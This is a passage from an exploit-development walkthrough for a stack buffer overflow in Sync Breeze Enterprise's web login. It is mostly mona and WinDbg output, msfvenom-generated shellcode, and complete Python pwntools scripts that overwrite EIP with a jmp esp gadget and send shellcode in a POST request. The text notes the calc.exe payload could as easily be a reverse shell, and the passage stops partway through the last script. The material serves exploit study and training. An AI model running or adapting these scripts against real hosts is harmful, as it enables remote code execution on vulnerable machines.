0x01c2744c | |c8 6a 10 01 06 00 00 00 08 ab c2 01 00 00 00 00| Memory
0x01c2744c | 20 |21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30| File
0x01c2744c | |00 00 00 00 00 fd 8a 00 01 00 00 00 00 00 00 00| Memory
0x01c2744c | 30 |31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40| File
0x01c2744c | |00 00 00 00 00 00 00 00 02 00 00 00 98 b0 65 00| Memory
0x01c2744c | 40 |41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50| File
0x01c2744c | |0b 00 00 00 00 00 00 00 00 00 00 00 80 f4 8a 00| Memory
0x01c2744c | 50 |51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60| File
0x01c2744c | |01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | 60 |61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70| File
0x01c2744c | |c4 d0 c2 01 f8 aa c2 01 70 74 c2 01 00 00 00 00| Memory
0x01c2744c | 70 |71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | 80 |81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | 90 |91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | a0 |a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | b0 |b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | c0 |c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | d0 |d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | e0 |e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | f0 |f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff | File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | Memory
0x01c2744c | `-----------------------------------------------'
0x01c2744c |
0x01c2744c | | File | Memory | Note
0x01c2744c | -------------------------------------------------------------
0x01c2744c | 0 0 9 9 | 01 ... 09 | 01 ... 09 | unmodified!
0x01c2744c | -------------------------------------------------------------
0x01c2744c | 9 9 5 5 | 0a 0b 0c 0d 0e | 00 a8 00 78 71 | corrupted
0x01c2744c | 14 14 1 1 | 0f | 0f | unmodified!
0x01c2744c | 15 15 240 240 | 10 ... ff | 01 ... 00 | corrupted
0x01c2744c |
0x01c2744c | Possibly bad chars: 0a
0x01c2744c | Bytes omitted from input: 00
0x01c2744c |
Yes, this process needs to be repeated multiple times to identify all badchars. Each iteration helps refine the list of problematic characters that cause issues when crafting the payload.
1
0:000> !py mona bytearray -cpb '\x00\x0a'
When this happens, Mona will indicate that the bytes compared on the stack with the .bin
file have not been modified. This situation occurs after detecting 7
badchars.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
Read 249 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2744c | [+] Comparing with memory at location : 0x01c2744c (Stack)
0x01c2744c | !!! Hooray, normal shellcode unmodified !!!
0x01c2744c | Bytes omitted from input: 00 0a 0d 25 26 2b 3d
These bytes cause problems because badchars
depend on the specific program and the field where the vulnerability occurs. In this case, the badchars are due to how certain ASCII
characters can affect the POST
request during server authentication. Here’s why each badchar might be problematic:
1
2
3
4
5
6
7
8
9
10
11
12
13
`0x00` or `\0` (Null Byte): The null byte can indicate the end of a string, so bytes following it might not be written correctly.
`0x0a` or `\n`(Line Feed): This newline character can signify the end of the POST request content in this context.
`0x0d` or `\r` (Carriage Return): Similar to the line feed, the carriage return can indicate the end of the POST data content.
`0x25` or `%` (Percent Sign): The percent sign can be used in URL encoding to represent the next two bytes as a single hexadecimal value.
`0x26` or `&` (Ampersand): The ampersand often separates parameters in a query string, so it might cause the following bytes to be interpreted as a new parameter.
`0x2b` or `+` (Plus Sign): In web contexts, the plus sign can represent a space, which might affect how the payload is processed.
`0x3d` or `=` (Equals Sign): The equals sign often denotes the beginning of a parameter value, so it might disrupt the parsing of the payload.
Find Opcode
We know that whatever is sent after the filler will be stored on the stack. Therefore, if we send a shellcode that executes a command, we only need to execute what is on the stack. When there are no protections like DEP
(Data Execution Prevention) or ASLR
(Address Space Layout Randomization), we only need to find a gadget in one of the modules that is executable and can execute what is at the ESP
. Common gadgets include:
1
2
3
4
5
`jmp esp`;: This is the most common gadget, simply jumps to the ESP register, executing all instructions stored on the stack.
`call esp`;: Similar to jmp esp, but uses call instead of jmp, treating the address on the ESP as a function call.
`push esp`; `ret`;: Pushes the ESP address onto the stack, and then ret will use this address as the return address, executing whatever is on the stack.
To find a gadget that executes any of these instructions, we first need to know which modules
the program loads that are not system libraries. For this, we can use Mona. There are only 4
modules, of which 3
are libraries. However, only one of these can be used because the base address of the others contains 0x00
, and we previously identified the null byte as a badchar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false
---------- Mona command started on 2024-02-13 22:34:57 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Module criteria : ['os=false']
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------
0x00890000 | 0x00944000 | 0x000b4000 | True | False | False | False | False | False | -1.0- [libsync.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libsync.dll) 0x0
0x007b0000 | 0x00884000 | 0x000d4000 | True | False | False | False | False | False | -1.0- [libpal.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll) 0x0
0x10000000 | 0x10223000 | 0x00223000 | False | False | False | False | False | False | -1.0- [libspp.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll) 0x0
0x00400000 | 0x00462000 | 0x00062000 | False | False | False | False | False | False | -1.0- [syncbrs.exe] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe) 0x0
----------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
Since we have a module that does not start with 0x00
and does not have protections, we can use Mona to find gadgets that help us jump to the ESP
register. We have found several gadgets, and we should be able to use any of them for our exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0:000> !py mona jmp -r esp -m libspp.dll -cpb '\x00\x0a\x0d\x25\x26\x2b\x3d'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r esp -m libspp.dll -cpb '\x00\x0a\x0d\x25\x26\x2b\x3d'
---------- Mona command started on 2024-02-13 22:36:24 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules libspp.dll
- Bad char filter will be applied to pointers : '\x00\x0a\x0d\x25\x26\x2b\x3d'
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module libspp.dll
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
- Number of pointers of type 'push esp # ret 0x08' : 2
- Number of pointers of type 'jmp esp' : 1
- Number of pointers of type 'push esp # ret ' : 3
- Number of pointers of type 'push esp # ret 0x04' : 2
[+] Results :
0x1005f916 | 0x1005f916 : push esp # ret 0x08 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1005f91e | 0x1005f91e : push esp # ret 0x08 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10090c83 | 0x10090c83 : jmp esp | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100bb515 | 0x100bb515 : push esp # ret | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100e1cf2 | 0x100e1cf2 : push esp # ret | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10138c27 | 0x10138c27 : push esp # ret | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10072456 | 0x10072456 : push esp # ret 0x04 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1009f74e | 0x1009f74e : push esp # ret 0x04 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
Found a total of 8 pointers
Encoder Problem
Once we have the gadget, we can generate a shellcode using msfvenom
to execute a command. In this case, for simplicity, we’ll execute calc.exe
, but we could just as easily use it to establish a reverse shell or run a bind shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1237 bytes
shellcode = b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
Our exploit involves sending A's
up to the point where we overwrite the EIP
with a jmp esp
instruction. Since our shellcode
generated with msfvenom
is stored on the stack, it should execute and launch the calculator. The p32
function from pwntools
is useful for packing the address in little-endian
format.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python3
from pwn import remote, p32
offset = 520
junk = b"A" * offset
jmpesp = p32(0x10090c83)
filler = b"C" * 4
shellcode = b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
payload = junk + jmpesp + filler + shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
However, this does not happen, and the debugger shows that at some point during execution, it attempted to execute an instruction that caused an Access Violation.
1
2
3
4
5
6
7
8
0:000> g
(1354.1d30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=b803afa8 ecx=0056f30c edx=00000350 esi=0056899e edi=01086ac8
eip=01c27457 esp=01c2744c ebp=00562bd0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
01c27457 0000 add byte ptr [eax],al ds:002b:00000001=??
To understand why this is happening, set a breakpoint
at the address where jmp esp
is executed and send the exploit again. Now you can disassemble the instructions using the u
command and analyze which one is causing the problem.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> bp 0x10090c83
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=10090c83 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp {01c1744c}
0:000> u esp
01c1744c dac0 fcmovb st,st(0)
01c1744e bba8af03b8 mov ebx,0B803AFA8h
01c17453 d97424f4 fnstenv [esp-0Ch]
01c17457 5a pop edx
01c17458 31c9 xor ecx,ecx
01c1745a b131 mov cl,31h
01c1745c 315a18 xor dword ptr [edx+18h],ebx
01c1745f 83eafc sub edx,0FFFFFFFCh
The instruction causing the error is fnstenv. According to documentation, fnstenv
saves 28 bytes of the FPU (Floating Point Unit) state. The problem is that it writes these 28
bytes to esp - 0xc
(or esp - 12
), which means it writes 12
bytes before the start of the stack and 16
bytes after the stack. This likely overwrites the shellcode and causes the Access Violation error.
1
fnstenv [esp-0Ch]
To see it a bit better, let’s examine the stack
contents before and after the instruction. Right now, the stack contains the shellcode
.
1
2
3
4
5
6
7
8
0:000> dds esp L6
01c1744c a8bbc0da (esp + 0)
01c17450 d9b803af (esp + 4)
01c17454 5af42474 (esp + 8)
01c17458 31b1c931 (esp + 12)
01c1745c 83185a31 (esp + 16)
01c17460 5a03fcea (esp + 20)
When the fnstenv
instruction is executed, the following instruction is equivalent to the hexadecimal value 0000
1
2
3
4
5
6
7
8
9
10
11
0:000> r
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17453 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01c17453 d97424f4 fnstenv [esp-0Ch] ss:002b:01c17440=41
0:000> p
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17457 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01c17457 0000 add byte ptr [eax],al ds:002b:00000001=??
This happens because the instruction overwrote 4 DWORDs
or 16 bytes
of the stack.
1
2
3
4
5
6
7
8
0:000> dds esp L6
01c1744c 00000000 (esp + 0) [overwrited]
01c17450 00000000 (esp + 4) [overwrited]
01c17454 00000000 (esp + 8) [overwrited]
01c17458 ffff0000 (esp + 12) [overwrited]
01c1745c 83185a31 (esp + 16)
01c17460 5a03fcea (esp + 20)
Solution 1
The simplest solution is to use NOPs
. Before the shellcode, send 16 NOPs
so that when the 16 bytes are overwritten, it will overwrite the NOPs`` instead of the shellcode.
1
2
3
4
shellcode = b"\x90" * 16
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
To view this from the debugger, you can set the breakpoint
again and examine the stack
. You should see 4 DWORDs
of NOPs
followed by the beginning of the shellcode
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> bp 0x10090c83
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=10090c83 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp {01bf744c}
0:000> dds esp L8
01bf744c 90909090 (nops)
01bf7450 90909090 (nops)
01bf7454 90909090 (nops)
01bf7458 90909090 (nops)
01bf745c a8bbc0da (shellcode start)
01bf7460 d9b803af
01bf7464 5af42474
01bf7468 31b1c931
After executing the fnstenv
instruction, the 4 DWORDs
of NOPs
are overwritten, but the beginning of the shellcode remains intact. Therefore, the execution of the shellcode
should not be affected, and the calculator should execute as expected.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:000> r
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7463 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01bf7463 d97424f4 fnstenv [esp-0Ch] ss:002b:01bf7440=41
0:000> p
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7467 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01bf7467 5a pop edx
0:000> dds esp L8
01bf744c 00000000 (overwrited)
01bf7450 00000000 (overwrited)
01bf7454 00000000 (overwrited)
01bf7458 ffff0000 (overwrited)
01bf745c a8bbc0da (shellcode start)
01bf7460 d9b803af
01bf7464 5af42474
01bf7468 31b1c931
The final exploit simply adds 16 NOPs
at the beginning of the shellcode. When sending the exploit outside of the debugger, it successfully executes the shellcode, which launches the calculator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python3
from pwn import remote, p32
offset = 520
junk = b"A" * offset
jmpesp = p32(0x10090c83)
filler = b"C" * 4
shellcode = b"\x90" * 16
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
payload = junk + jmpesp + filler + shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Solution 2
The second solution is simpler: the previous issue was specifically caused by an instruction when using the shikata_ga_nai
encoder. By using another encoder, such as jmp_call_additive
, which does not include that problematic instruction, the issue should not occur.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d' -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"
shellcode += b"\xb5\x3b\x97\x50\xb5"
This time, the final exploit does not need the NOPs
and successfully executes the calculator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
from pwn import remote, p32
offset = 520
junk = b"A" * offset
jmpesp = p32(0x10090c83)
filler = b"C" * 4
shellcode = b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"
